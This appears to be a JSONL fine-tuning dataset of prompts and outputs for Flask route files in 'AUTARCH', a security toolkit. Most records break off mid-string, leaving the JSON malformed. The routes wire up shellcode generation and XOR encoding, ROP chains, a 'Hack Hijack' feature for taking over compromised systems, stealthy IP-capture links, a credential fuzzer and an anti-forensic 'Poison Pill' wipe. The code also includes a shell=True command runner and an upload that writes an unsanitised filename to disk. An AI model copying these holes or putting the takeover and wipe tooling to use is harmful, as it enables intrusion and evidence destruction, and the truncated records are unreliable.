{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Defense' feature. It should have a blueprint with url_prefix='/defense', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 51 route handlers.", "input": "Feature: Defense\nBlueprint: defense_bp\nPrefix: /defense\nRoutes: 51", "output": "\"\"\"Defense category routes — landing page, Linux defense, Windows defense, Threat Monitor.\"\"\"\n\nimport re\nimport subprocess\nimport platform\nimport socket\nimport json\nfrom flask import Blueprint, render_template, request, jsonify, Response, stream_with_context\nfrom web.auth import login_required\n\ndefense_bp = Blueprint('defense', __name__, url_prefix='/defense')\n\n\ndef _run_cmd(cmd, timeout=10):\n try:\n result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)\n return result.returncode == 0, result.stdout.strip()\n except Exception:\n return False, \"\"\n\n\n# ==================== LANDING PAGE ====================\n\n@defense_bp.route('/')\n@login_required\ndef index():\n from core.menu import MainMenu\n menu = MainMenu()\n menu.load_modules()\n modules = {k: v for k, v in menu.modules.items() if v.category == 'defense'}\n\n # Gather system info for the landing page\n sys_info = {\n 'platform': platform.system(),\n 'hostname': socket.gethostname(),\n 'os_version': platform.platform(),\n }\n try:\n sys_info['ip'] = socket.gethostbyname(socket.gethostname())\n except Exception:\n sys_info['ip'] = '127.0.0.1'\n\n return render_template('defense.html', modules=modules, sys_info=sys_info)\n\n\n# ==================== LINUX DEFENSE ====================\n\n@defense_bp.route('/linux')\n@login_required\ndef linux_index():\n return render_template('defense_linux.html')\n\n\n@defense_bp.route('/linux/audit', methods=['POST'])\n@login_required\ndef linux_audit():\n \"\"\"Run full Linux security audit.\"\"\"\n from modules.defender import Defender\n d = Defender()\n d.check_firewall()\n d.check_ssh_config()\n d.check_open_ports()\n d.check_users()\n d.check_permissions()\n d.check_services()\n d.check_fail2ban()\n d.check_selinux()\n\n passed = sum(1 for r in d.results if r['passed'])\n total = len(d.results)\n score = int((passed / total) * 100) if total > 0 else 0\n\n return jsonify({\n 'score': score,\n 'passed': passed,\n 'total': total,\n 'checks': d.results\n })\n\n\n@defense_bp.route('/linux/check/<check_name>', methods=['POST'])\n@login_required\ndef linux_check(check_name):\n \"\"\"Run individual Linux security check.\"\"\"\n from modules.defender import Defender\n d = Defender()\n\n checks_map = {\n 'firewall': d.check_firewall,\n 'ssh': d.check_ssh_config,\n 'ports': d.check_open_ports,\n 'users': d.check_users,\n 'permissions': d.check_permissions,\n 'services': d.check_services,\n 'fail2ban': d.check_fail2ban,\n 'selinux': d.check_selinux,\n }\n\n func = checks_map.get(check_name)\n if not func:\n return jsonify({'error': f'Unknown check: {check_name}'}), 400\n\n func()\n return jsonify({'checks': d.results})\n\n\n@defense_bp.route('/linux/firewall/rules')\n@login_required\ndef linux_firewall_rules():\n \"\"\"Get current iptables rules.\"\"\"\n success, output = _run_cmd(\"sudo iptables -L -n --line-numbers 2>/dev/null\")\n if success:\n return jsonify({'rules': output})\n return jsonify({'rules': 'Could not read iptables rules (need sudo privileges)'})\n\n\n@defense_bp.route('/linux/firewall/block', methods=['POST'])\n@login_required\ndef linux_firewall_block():\n \"\"\"Block an IP address via iptables.\"\"\"\n data = request.get_json(silent=True) or {}\n ip = data.get('ip', '').strip()\n if not ip or not re.match(r'^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$', ip):\n return jsonify({'error': 'Invalid IP address', 'success': False})\n\n s
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Dns Service' feature. It should have a blueprint with url_prefix='/dns', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 51 route handlers.", "input": "Feature: Dns Service\nBlueprint: dns_service_bp\nPrefix: /dns\nRoutes: 51", "output": "\"\"\"DNS Service web routes — manage the Go-based DNS server from the dashboard.\"\"\"\n\nfrom flask import Blueprint, render_template, request, jsonify\nfrom web.auth import login_required\n\ndns_service_bp = Blueprint('dns_service', __name__, url_prefix='/dns')\n\n\ndef _mgr():\n from core.dns_service import get_dns_service\n return get_dns_service()\n\n\n@dns_service_bp.route('/')\n@login_required\ndef index():\n return render_template('dns_service.html')\n\n\n@dns_service_bp.route('/nameserver')\n@login_required\ndef nameserver():\n return render_template('dns_nameserver.html')\n\n\n@dns_service_bp.route('/network-info')\n@login_required\ndef network_info():\n \"\"\"Auto-detect local network info for EZ-Local setup.\"\"\"\n import socket\n import subprocess as sp\n info = {'ok': True}\n\n # Hostname\n info['hostname'] = socket.gethostname()\n try:\n info['fqdn'] = socket.getfqdn()\n except Exception:\n info['fqdn'] = info['hostname']\n\n # Local IPs\n local_ips = []\n try:\n # Connect to external to find default route IP\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.connect(('8.8.8.8', 53))\n default_ip = s.getsockname()[0]\n s.close()\n info['default_ip'] = default_ip\n except Exception:\n info['default_ip'] = '127.0.0.1'\n\n # Gateway detection\n try:\n r = sp.run(['ip', 'route', 'show', 'default'], capture_output=True, text=True, timeout=5)\n if r.stdout:\n parts = r.stdout.split()\n if 'via' in parts:\n info['gateway'] = parts[parts.index('via') + 1]\n except Exception:\n pass\n if 'gateway' not in info:\n try:\n # Windows: parse ipconfig or route print\n r = sp.run(['route', 'print', '0.0.0.0'], capture_output=True, text=True, timeout=5)\n for line in r.stdout.splitlines():\n parts = line.split()\n if len(parts) >= 3 and parts[0] == '0.0.0.0':\n info['gateway'] = parts[2]\n break\n except Exception:\n info['gateway'] = ''\n\n # Subnet guess from default IP\n ip = info.get('default_ip', '')\n if ip and ip != '127.0.0.1':\n parts = ip.split('.')\n if len(parts) == 4:\n info['subnet'] = f\"{parts[0]}.{parts[1]}.{parts[2]}.0/24\"\n info['network_prefix'] = f\"{parts[0]}.{parts[1]}.{parts[2]}\"\n\n # ARP table for existing hosts\n hosts = []\n try:\n r = sp.run(['arp', '-a'], capture_output=True, text=True, timeout=10)\n for line in r.stdout.splitlines():\n # Parse arp output (Windows: \" 192.168.1.1 00-aa-bb-cc-dd-ee dynamic\")\n parts = line.split()\n if len(parts) >= 2:\n candidate = parts[0].strip()\n if candidate.count('.') == 3 and not candidate.startswith('224.') and not candidate.startswith('255.'):\n try:\n socket.inet_aton(candidate)\n mac = parts[1] if len(parts) >= 2 else ''\n # Try reverse DNS\n try:\n name = socket.gethostbyaddr(candidate)[0]\n except Exception:\n name = ''\n hosts.append({'ip': candidate, 'mac': mac, 'name': name})\n except Exception:\n pass\n except Exception:\n pass\n info['hosts'] = hosts[:50] # Limit\n\n return jsonify(info)\n\n\n@dns_service_bp.route('/nameserver/binary-info')\n@login_required\ndef binary_info():\n \"\"\"Get
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Email Sec' feature. It should have a blueprint with url_prefix='/email-sec', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 12 route handlers.", "input": "Feature: Email Sec\nBlueprint: email_sec_bp\nPrefix: /email-sec\nRoutes: 12", "output": "\"\"\"Email Security routes.\"\"\"\n\nfrom flask import Blueprint, request, jsonify, render_template\nfrom web.auth import login_required\n\nemail_sec_bp = Blueprint('email_sec', __name__, url_prefix='/email-sec')\n\n\ndef _get_es():\n from modules.email_sec import get_email_sec\n return get_email_sec()\n\n\n@email_sec_bp.route('/')\n@login_required\ndef index():\n return render_template('email_sec.html')\n\n\n@email_sec_bp.route('/domain', methods=['POST'])\n@login_required\ndef analyze_domain():\n \"\"\"Full domain email security analysis.\"\"\"\n data = request.get_json(silent=True) or {}\n domain = data.get('domain', '').strip()\n if not domain:\n return jsonify({'error': 'Domain is required'}), 400\n return jsonify(_get_es().analyze_domain(domain))\n\n\n@email_sec_bp.route('/spf', methods=['POST'])\n@login_required\ndef check_spf():\n \"\"\"Check SPF record for a domain.\"\"\"\n data = request.get_json(silent=True) or {}\n domain = data.get('domain', '').strip()\n if not domain:\n return jsonify({'error': 'Domain is required'}), 400\n return jsonify(_get_es().check_spf(domain))\n\n\n@email_sec_bp.route('/dmarc', methods=['POST'])\n@login_required\ndef check_dmarc():\n \"\"\"Check DMARC record for a domain.\"\"\"\n data = request.get_json(silent=True) or {}\n domain = data.get('domain', '').strip()\n if not domain:\n return jsonify({'error': 'Domain is required'}), 400\n return jsonify(_get_es().check_dmarc(domain))\n\n\n@email_sec_bp.route('/dkim', methods=['POST'])\n@login_required\ndef check_dkim():\n \"\"\"Check DKIM selectors for a domain.\"\"\"\n data = request.get_json(silent=True) or {}\n domain = data.get('domain', '').strip()\n if not domain:\n return jsonify({'error': 'Domain is required'}), 400\n selectors = data.get('selectors')\n if selectors and isinstance(selectors, str):\n selectors = [s.strip() for s in selectors.split(',') if s.strip()]\n return jsonify(_get_es().check_dkim(domain, selectors or None))\n\n\n@email_sec_bp.route('/mx', methods=['POST'])\n@login_required\ndef check_mx():\n \"\"\"Check MX records for a domain.\"\"\"\n data = request.get_json(silent=True) or {}\n domain = data.get('domain', '').strip()\n if not domain:\n return jsonify({'error': 'Domain is required'}), 400\n return jsonify(_get_es().check_mx(domain))\n\n\n@email_sec_bp.route('/headers', methods=['POST'])\n@login_required\ndef analyze_headers():\n \"\"\"Analyze raw email headers.\"\"\"\n data = request.get_json(silent=True) or {}\n raw_headers = data.get('raw_headers', '').strip()\n if not raw_headers:\n return jsonify({'error': 'Raw headers are required'}), 400\n return jsonify(_get_es().analyze_headers(raw_headers))\n\n\n@email_sec_bp.route('/phishing', methods=['POST'])\n@login_required\ndef detect_phishing():\n \"\"\"Detect phishing indicators in email content.\"\"\"\n data = request.get_json(silent=True) or {}\n email_content = data.get('email_content', '').strip()\n if not email_content:\n return jsonify({'error': 'Email content is required'}), 400\n return jsonify(_get_es().detect_phishing(email_content))\n\n\n@email_sec_bp.route('/mailbox/search', methods=['POST'])\n@login_required\ndef mailbox_search():\n \"\"\"Search a mailbox for emails.\"\"\"\n data = request.get_json(silent=True) or {}\n host = data.get('host', '').strip()\n username = data.get('username', '').strip()\n password = data.get('password', '')\n if not host or not username or not password:\n return jsonify({'error': 'Host, username, and password are required'}), 400\n return jsonify(_get_es().search_ma
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Encmodules' feature. It should have a blueprint with url_prefix='/encmodules', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 8 route handlers.", "input": "Feature: Encmodules\nBlueprint: encmodules_bp\nPrefix: /encmodules\nRoutes: 8", "output": "\"\"\"Encrypted Modules — load and execute AES-encrypted Python modules.\"\"\"\n\nimport io\nimport json\nimport os\nimport sys\nimport threading\nimport time\nimport uuid\nfrom pathlib import Path\n\nfrom flask import (Blueprint, Response, jsonify, render_template,\n request, session)\nfrom web.auth import login_required\n\nencmodules_bp = Blueprint('encmodules', __name__, url_prefix='/encmodules')\n\n# ── Storage ───────────────────────────────────────────────────────────────────\n\ndef _module_dir() -> Path:\n from core.paths import get_app_dir\n d = get_app_dir() / 'modules' / 'encrypted'\n d.mkdir(parents=True, exist_ok=True)\n return d\n\n\n# ── Module metadata ───────────────────────────────────────────────────────────\n\n_DISPLAY_NAMES = {\n 'tor_pedo_hunter_killer': 'TOR-Pedo Hunter Killer',\n 'tor-pedo_hunter_killer': 'TOR-Pedo Hunter Killer',\n 'tphk': 'TOR-Pedo Hunter Killer',\n 'poison_pill': 'Poison Pill',\n 'poisonpill': 'Poison Pill',\n 'floppy_dick': 'Floppy_Dick',\n 'floppydick': 'Floppy_Dick',\n}\n\n_DESCRIPTIONS = {\n 'TOR-Pedo Hunter Killer':\n 'Identifies and reports CSAM distributors and predator networks on Tor hidden services. '\n 'Generates law-enforcement referral dossiers. Authorized investigations only.',\n 'Poison Pill':\n 'Emergency anti-forensic self-protection. Securely wipes configured data paths, '\n 'rotates credentials, kills sessions, and triggers remote wipe on companion devices.',\n 'Floppy_Dick':\n 'Legacy-protocol credential fuzzer. Tests FTP, Telnet, SMTP, SNMP v1/v2c, and '\n 'other deprecated authentication endpoints. For authorized pentest engagements.',\n}\n\n_TAGS = {\n 'TOR-Pedo Hunter Killer': ['CSAM', 'TOR', 'OSINT', 'counter'],\n 'Poison Pill': ['anti-forensic', 'emergency', 'wipe'],\n 'Floppy_Dick': ['brute-force', 'auth', 'legacy', 'pentest'],\n}\n\n_TAG_COLORS = {\n 'CSAM': 'danger', 'TOR': 'danger', 'counter': 'warn',\n 'OSINT': 'info', 'anti-forensic': 'warn', 'emergency': 'danger',\n 'wipe': 'danger', 'brute-force': 'warn', 'auth': 'info',\n 'legacy': 'dim', 'pentest': 'info',\n}\n\n\ndef _resolve_display_name(stem: str) -> str:\n key = stem.lower().replace('-', '_')\n return _DISPLAY_NAMES.get(key, stem.replace('_', ' ').replace('-', ' ').title())\n\n\ndef _read_sidecar(aes_path: Path) -> dict:\n \"\"\"Try to read a .json sidecar file alongside the .aes file.\"\"\"\n sidecar = aes_path.with_suffix('.json')\n if sidecar.exists():\n try:\n return json.loads(sidecar.read_text(encoding='utf-8'))\n except Exception:\n pass\n return {}\n\n\ndef _read_autarch_meta(aes_path: Path) -> dict:\n \"\"\"Try to read embedded AUTARCH-format metadata without decrypting.\"\"\"\n try:\n from core.module_crypto import read_metadata\n meta = read_metadata(aes_path)\n if meta:\n return meta\n except Exception:\n pass\n return {}\n\n\ndef _get_module_info(path: Path) -> dict:\n \"\"\"Build a metadata dict for a single .aes file.\"\"\"\n stem = path.stem\n meta = _read_autarch_meta(path) or _read_sidecar(path)\n display = meta.get('name') or _resolve_display_name(stem)\n size_kb = round(path.stat().st_size / 1024, 1)\n\n return {\n
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Exploit Dev' feature. It should have a blueprint with url_prefix='/exploit-dev', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 12 route handlers.", "input": "Feature: Exploit Dev\nBlueprint: exploit_dev_bp\nPrefix: /exploit-dev\nRoutes: 12", "output": "\"\"\"Exploit Development routes.\"\"\"\nimport os\nfrom flask import Blueprint, request, jsonify, render_template, current_app\nfrom web.auth import login_required\n\nexploit_dev_bp = Blueprint('exploit_dev', __name__, url_prefix='/exploit-dev')\n\n\ndef _get_dev():\n from modules.exploit_dev import get_exploit_dev\n return get_exploit_dev()\n\n\n@exploit_dev_bp.route('/')\n@login_required\ndef index():\n return render_template('exploit_dev.html')\n\n\n@exploit_dev_bp.route('/shellcode', methods=['POST'])\n@login_required\ndef shellcode():\n data = request.get_json(silent=True) or {}\n result = _get_dev().generate_shellcode(\n shell_type=data.get('type', 'execve'),\n arch=data.get('arch', 'x64'),\n host=data.get('host') or None,\n port=data.get('port') or None,\n platform=data.get('platform', 'linux'),\n staged=data.get('staged', False),\n output_format=data.get('output_format', 'hex'),\n )\n return jsonify(result)\n\n\n@exploit_dev_bp.route('/shellcodes')\n@login_required\ndef list_shellcodes():\n return jsonify({'shellcodes': _get_dev().list_shellcodes()})\n\n\n@exploit_dev_bp.route('/encode', methods=['POST'])\n@login_required\ndef encode():\n data = request.get_json(silent=True) or {}\n result = _get_dev().encode_payload(\n shellcode=data.get('shellcode', ''),\n encoder=data.get('encoder', 'xor'),\n key=data.get('key') or None,\n iterations=int(data.get('iterations', 1)),\n )\n return jsonify(result)\n\n\n@exploit_dev_bp.route('/pattern/create', methods=['POST'])\n@login_required\ndef pattern_create():\n data = request.get_json(silent=True) or {}\n length = int(data.get('length', 500))\n result = _get_dev().generate_pattern(length)\n return jsonify(result)\n\n\n@exploit_dev_bp.route('/pattern/offset', methods=['POST'])\n@login_required\ndef pattern_offset():\n data = request.get_json(silent=True) or {}\n result = _get_dev().find_pattern_offset(\n value=data.get('value', ''),\n length=int(data.get('length', 20000)),\n )\n return jsonify(result)\n\n\n@exploit_dev_bp.route('/rop/gadgets', methods=['POST'])\n@login_required\ndef rop_gadgets():\n data = request.get_json(silent=True) or {}\n binary_path = data.get('binary_path', '').strip()\n\n # Support file upload\n if not binary_path and request.content_type and 'multipart' in request.content_type:\n uploaded = request.files.get('binary')\n if uploaded:\n upload_dir = current_app.config.get('UPLOAD_FOLDER', '/tmp')\n binary_path = os.path.join(upload_dir, uploaded.filename)\n uploaded.save(binary_path)\n\n if not binary_path:\n return jsonify({'error': 'No binary path or file provided'}), 400\n\n gadget_type = data.get('gadget_type') or None\n if gadget_type == 'all':\n gadget_type = None\n\n result = _get_dev().find_rop_gadgets(binary_path, gadget_type)\n return jsonify(result)\n\n\n@exploit_dev_bp.route('/rop/chain', methods=['POST'])\n@login_required\ndef rop_chain():\n data = request.get_json(silent=True) or {}\n gadgets = data.get('gadgets', [])\n chain_spec = data.get('chain_spec', [])\n if not gadgets or not chain_spec:\n return jsonify({'error': 'Provide gadgets and chain_spec'}), 400\n result = _get_dev().build_rop_chain(gadgets, chain_spec)\n return jsonify(result)\n\n\n@exploit_dev_bp.route('/format/offset', methods=['POST'])\n@login_required\ndef format_offset():\n data = request.get_json(silent=True) or {}\n result = _get_dev().format_string_offset(\n binary_path=data.get('binary_path'),\n test_count=int(data.get('test_cou
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Forensics' feature. It should have a blueprint with url_prefix='/forensics', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 10 route handlers.", "input": "Feature: Forensics\nBlueprint: forensics_bp\nPrefix: /forensics\nRoutes: 10", "output": "\"\"\"Forensics Toolkit routes.\"\"\"\nfrom flask import Blueprint, request, jsonify, render_template\nfrom web.auth import login_required\n\nforensics_bp = Blueprint('forensics', __name__, url_prefix='/forensics')\n\ndef _get_engine():\n from modules.forensics import get_forensics\n return get_forensics()\n\n@forensics_bp.route('/')\n@login_required\ndef index():\n return render_template('forensics.html')\n\n@forensics_bp.route('/hash', methods=['POST'])\n@login_required\ndef hash_file():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_engine().hash_file(data.get('file', ''), data.get('algorithms')))\n\n@forensics_bp.route('/verify', methods=['POST'])\n@login_required\ndef verify_hash():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_engine().verify_hash(\n data.get('file', ''), data.get('hash', ''), data.get('algorithm')\n ))\n\n@forensics_bp.route('/image', methods=['POST'])\n@login_required\ndef create_image():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_engine().create_image(data.get('source', ''), data.get('output')))\n\n@forensics_bp.route('/carve', methods=['POST'])\n@login_required\ndef carve_files():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_engine().carve_files(\n data.get('source', ''), data.get('file_types'), data.get('max_files', 100)\n ))\n\n@forensics_bp.route('/metadata', methods=['POST'])\n@login_required\ndef extract_metadata():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_engine().extract_metadata(data.get('file', '')))\n\n@forensics_bp.route('/timeline', methods=['POST'])\n@login_required\ndef build_timeline():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_engine().build_timeline(\n data.get('directory', ''), data.get('recursive', True), data.get('max_entries', 10000)\n ))\n\n@forensics_bp.route('/evidence')\n@login_required\ndef list_evidence():\n return jsonify(_get_engine().list_evidence())\n\n@forensics_bp.route('/carved')\n@login_required\ndef list_carved():\n return jsonify(_get_engine().list_carved())\n\n@forensics_bp.route('/custody')\n@login_required\ndef custody_log():\n return jsonify(_get_engine().get_custody_log())\n", "type": "route_creation", "source_file": "web/routes/forensics.py"}
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Hack Hijack' feature. It should have a blueprint with url_prefix='/hack_hijack', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 10 route handlers.", "input": "Feature: Hack Hijack\nBlueprint: hack_hijack_bp\nPrefix: None\nRoutes: 10", "output": "\"\"\"Hack Hijack — web routes for scanning and taking over compromised systems.\"\"\"\n\nimport json\nimport queue\nimport threading\nimport time\nimport uuid\nfrom flask import Blueprint, render_template, request, jsonify, Response\nfrom web.auth import login_required\n\nhack_hijack_bp = Blueprint('hack_hijack', __name__)\n\n# job_id -> {'q': Queue, 'result': dict|None, 'error': str|None, 'done': bool, 'cancel': bool}\n_running_scans: dict = {}\n\n\ndef _svc():\n from modules.hack_hijack import get_hack_hijack\n return get_hack_hijack()\n\n\n# ── UI ────────────────────────────────────────────────────────────────────────\n\n@hack_hijack_bp.route('/hack-hijack/')\n@login_required\ndef index():\n return render_template('hack_hijack.html')\n\n\n# ── Scanning ──────────────────────────────────────────────────────────────────\n\n@hack_hijack_bp.route('/hack-hijack/scan', methods=['POST'])\n@login_required\ndef start_scan():\n data = request.get_json(silent=True) or {}\n target = data.get('target', '').strip()\n scan_type = data.get('scan_type', 'quick')\n custom_ports = data.get('custom_ports', [])\n\n if not target:\n return jsonify({'ok': False, 'error': 'Target IP required'})\n\n if scan_type not in ('quick', 'full', 'nmap', 'custom'):\n scan_type = 'quick'\n\n job_id = str(uuid.uuid4())[:8]\n q = queue.Queue()\n job = {'q': q, 'result': None, 'error': None, 'done': False, 'cancel': False}\n _running_scans[job_id] = job\n\n def _push(evt_type, **kw):\n kw['type'] = evt_type\n kw['ts'] = time.time()\n q.put(kw)\n\n def do_scan():\n try:\n svc = _svc()\n # Build a progress callback that feeds the queue\n def progress_cb(current, total, message=''):\n _push('progress', current=current, total=total,\n pct=round(current * 100 / total) if total else 0,\n msg=message)\n\n def port_found_cb(port_info):\n _push('port_found',\n port=port_info.get('port') or (port_info.port if hasattr(port_info, 'port') else 0),\n service=getattr(port_info, 'service', port_info.get('service', '')),\n banner=getattr(port_info, 'banner', port_info.get('banner', ''))[:80])\n\n def status_cb(msg):\n _push('status', msg=msg)\n\n r = svc.scan_target(\n target,\n scan_type=scan_type,\n custom_ports=custom_ports,\n timeout=3.0,\n progress_cb=progress_cb,\n port_found_cb=port_found_cb,\n status_cb=status_cb,\n )\n job['result'] = r.to_dict()\n except Exception as e:\n job['error'] = str(e)\n _push('error', msg=str(e))\n finally:\n job['done'] = True\n _push('done', ok=job['error'] is None)\n\n threading.Thread(target=do_scan, daemon=True).start()\n return jsonify({'ok': True, 'job_id': job_id,\n 'message': f'Scan started on {target} ({scan_type})'})\n\n\n@hack_hijack_bp.route('/hack-hijack/scan/<job_id>/stream')\n@login_required\ndef scan_stream(job_id):\n \"\"\"SSE stream for live scan progress.\"\"\"\n job = _running_scans.get(job_id)\n if not job:\n def _err():\n yield f\"data: {json.dumps({'type'
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Hardware' feature. It should have a blueprint with url_prefix='/hardware', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 25 route handlers.", "input": "Feature: Hardware\nBlueprint: hardware_bp\nPrefix: /hardware\nRoutes: 25", "output": "\"\"\"Hardware route - ADB/Fastboot device management and ESP32 serial flashing.\"\"\"\n\nimport json\nimport time\nfrom flask import Blueprint, render_template, request, jsonify, Response, stream_with_context\nfrom web.auth import login_required\n\nhardware_bp = Blueprint('hardware', __name__, url_prefix='/hardware')\n\n\n@hardware_bp.route('/')\n@login_required\ndef index():\n from core.hardware import get_hardware_manager\n mgr = get_hardware_manager()\n status = mgr.get_status()\n return render_template('hardware.html', status=status)\n\n\n@hardware_bp.route('/status')\n@login_required\ndef status():\n from core.hardware import get_hardware_manager\n mgr = get_hardware_manager()\n return jsonify(mgr.get_status())\n\n\n# ── ADB Endpoints ──────────────────────────────────────────────────\n\n@hardware_bp.route('/adb/devices')\n@login_required\ndef adb_devices():\n from core.hardware import get_hardware_manager\n mgr = get_hardware_manager()\n return jsonify({'devices': mgr.adb_devices()})\n\n\n@hardware_bp.route('/adb/info', methods=['POST'])\n@login_required\ndef adb_info():\n from core.hardware import get_hardware_manager\n mgr = get_hardware_manager()\n data = request.get_json(silent=True) or {}\n serial = data.get('serial', '').strip()\n if not serial:\n return jsonify({'error': 'No serial provided'})\n return jsonify(mgr.adb_device_info(serial))\n\n\n@hardware_bp.route('/adb/shell', methods=['POST'])\n@login_required\ndef adb_shell():\n from core.hardware import get_hardware_manager\n mgr = get_hardware_manager()\n data = request.get_json(silent=True) or {}\n serial = data.get('serial', '').strip()\n command = data.get('command', '').strip()\n if not serial:\n return jsonify({'error': 'No serial provided'})\n if not command:\n return jsonify({'error': 'No command provided'})\n result = mgr.adb_shell(serial, command)\n return jsonify({\n 'stdout': result.get('output', ''),\n 'stderr': '',\n 'exit_code': result.get('returncode', -1),\n })\n\n\n@hardware_bp.route('/adb/reboot', methods=['POST'])\n@login_required\ndef adb_reboot():\n from core.hardware import get_hardware_manager\n mgr = get_hardware_manager()\n data = request.get_json(silent=True) or {}\n serial = data.get('serial', '').strip()\n mode = data.get('mode', 'system').strip()\n if not serial:\n return jsonify({'error': 'No serial provided'})\n if mode not in ('system', 'recovery', 'bootloader'):\n return jsonify({'error': 'Invalid mode'})\n return jsonify(mgr.adb_reboot(serial, mode))\n\n\n@hardware_bp.route('/adb/sideload', methods=['POST'])\n@login_required\ndef adb_sideload():\n from core.hardware import get_hardware_manager\n mgr = get_hardware_manager()\n data = request.get_json(silent=True) or {}\n serial = data.get('serial', '').strip()\n filepath = data.get('filepath', '').strip()\n if not serial:\n return jsonify({'error': 'No serial provided'})\n if not filepath:\n return jsonify({'error': 'No filepath provided'})\n return jsonify(mgr.adb_sideload(serial, filepath))\n\n\n@hardware_bp.route('/adb/push', methods=['POST'])\n@login_required\ndef adb_push():\n from core.hardware import get_hardware_manager\n mgr = get_hardware_manager()\n data = request.get_json(silent=True) or {}\n serial = data.get('serial', '').strip()\n local_path = data.get('local', '').strip()\n remote_path = data.get('remote', '').strip()\n if not serial or not local_path or not remote_path:\n return jsonify({'erro
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Incident Resp' feature. It should have a blueprint with url_prefix='/incident-resp', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 19 route handlers.", "input": "Feature: Incident Resp\nBlueprint: incident_resp_bp\nPrefix: /incident-resp\nRoutes: 19", "output": "\"\"\"Incident Response routes.\"\"\"\n\nfrom flask import Blueprint, request, jsonify, render_template\nfrom web.auth import login_required\n\nincident_resp_bp = Blueprint('incident_resp', __name__, url_prefix='/incident-resp')\n\n\ndef _get_ir():\n from modules.incident_resp import get_incident_resp\n return get_incident_resp()\n\n\n# ── Page ─────────────────────────────────────────────────────────\n\n@incident_resp_bp.route('/')\n@login_required\ndef index():\n return render_template('incident_resp.html')\n\n\n# ── Incidents CRUD ───────────────────────────────────────────────\n\n@incident_resp_bp.route('/incidents', methods=['POST'])\n@login_required\ndef create_incident():\n data = request.get_json(silent=True) or {}\n result = _get_ir().create_incident(\n name=data.get('name', '').strip(),\n incident_type=data.get('type', '').strip(),\n severity=data.get('severity', '').strip(),\n description=data.get('description', '').strip(),\n )\n if 'error' in result:\n return jsonify(result), 400\n return jsonify(result)\n\n\n@incident_resp_bp.route('/incidents', methods=['GET'])\n@login_required\ndef list_incidents():\n status = request.args.get('status')\n incidents = _get_ir().list_incidents(status=status)\n return jsonify({'incidents': incidents})\n\n\n@incident_resp_bp.route('/incidents/<incident_id>', methods=['GET'])\n@login_required\ndef get_incident(incident_id):\n result = _get_ir().get_incident(incident_id)\n if 'error' in result:\n return jsonify(result), 404\n return jsonify(result)\n\n\n@incident_resp_bp.route('/incidents/<incident_id>', methods=['PUT'])\n@login_required\ndef update_incident(incident_id):\n data = request.get_json(silent=True) or {}\n result = _get_ir().update_incident(incident_id, data)\n if 'error' in result:\n return jsonify(result), 400\n return jsonify(result)\n\n\n@incident_resp_bp.route('/incidents/<incident_id>', methods=['DELETE'])\n@login_required\ndef delete_incident(incident_id):\n result = _get_ir().delete_incident(incident_id)\n if 'error' in result:\n return jsonify(result), 404\n return jsonify(result)\n\n\n@incident_resp_bp.route('/incidents/<incident_id>/close', methods=['POST'])\n@login_required\ndef close_incident(incident_id):\n data = request.get_json(silent=True) or {}\n result = _get_ir().close_incident(incident_id, data.get('resolution_notes', ''))\n if 'error' in result:\n return jsonify(result), 404\n return jsonify(result)\n\n\n# ── Playbook ─────────────────────────────────────────────────────\n\n@incident_resp_bp.route('/incidents/<incident_id>/playbook', methods=['GET'])\n@login_required\ndef get_playbook(incident_id):\n inc = _get_ir().get_incident(incident_id)\n if 'error' in inc:\n return jsonify(inc), 404\n pb = _get_ir().get_playbook(inc['type'])\n if 'error' in pb:\n return jsonify(pb), 404\n pb['progress'] = inc.get('playbook_progress', [])\n pb['outputs'] = inc.get('playbook_outputs', [])\n return jsonify(pb)\n\n\n@incident_resp_bp.route('/incidents/<incident_id>/playbook/<int:step>', methods=['POST'])\n@login_required\ndef run_playbook_step(incident_id, step):\n data = request.get_json(silent=True) or {}\n auto = data.get('auto', False)\n result = _get_ir().run_playbook_step(incident_id, step
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Ipcapture' feature. It should have a blueprint with url_prefix='/ipcapture', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 12 route handlers.", "input": "Feature: Ipcapture\nBlueprint: ipcapture_bp\nPrefix: None\nRoutes: 12", "output": "\"\"\"IP Capture & Redirect — web routes for stealthy link tracking.\"\"\"\n\nfrom flask import (Blueprint, render_template, request, jsonify,\n redirect, Response)\nfrom web.auth import login_required\n\nipcapture_bp = Blueprint('ipcapture', __name__)\n\n\ndef _svc():\n from modules.ipcapture import get_ip_capture\n return get_ip_capture()\n\n\n# ── Management UI ────────────────────────────────────────────────────────────\n\n@ipcapture_bp.route('/ipcapture/')\n@login_required\ndef index():\n return render_template('ipcapture.html')\n\n\n@ipcapture_bp.route('/ipcapture/links', methods=['GET'])\n@login_required\ndef list_links():\n svc = _svc()\n links = svc.list_links()\n for l in links:\n l['stats'] = svc.get_stats(l['key'])\n return jsonify({'ok': True, 'links': links})\n\n\n@ipcapture_bp.route('/ipcapture/links', methods=['POST'])\n@login_required\ndef create_link():\n data = request.get_json(silent=True) or {}\n target = data.get('target_url', '').strip()\n if not target:\n return jsonify({'ok': False, 'error': 'Target URL 